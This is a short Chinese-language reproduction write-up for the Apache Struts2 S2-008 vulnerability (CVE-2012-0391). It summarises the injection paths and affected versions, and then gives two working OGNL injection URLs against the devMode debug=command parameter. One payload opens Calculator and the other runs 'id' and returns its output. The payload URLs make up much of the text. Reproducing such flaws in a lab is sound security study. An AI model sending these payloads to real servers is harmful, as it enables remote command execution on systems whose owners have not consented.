（CVE-2012-0391）s2-008
=======================

一、漏洞简介
------------

主要是利用对传入参数没有严格限制，导致多个地方可以执行恶意代码第一种情况其实就是S2-007，在异常处理时的OGNL执行第二种的cookie的方式，虽然在struts2没有对恶意代码进行限制，但是java的webserver（Tomcat），对cookie的名称有较多限制，在传入struts2之前就被处理，从而较为鸡肋第四种需要开启devModedebug模式

二、漏洞影响
------------

2.1.0 - 2.3.1

三、复现过程
------------

复现采用的是第四种devMode的debug模式，造成的任意代码执行

### POC

第一个vulhub给的poc 不好使呀 java.lang.UNIXProcess\@493c1254

    http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29)

有回显

    /S2-008/devmode.action?debug=command&expression=%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%29
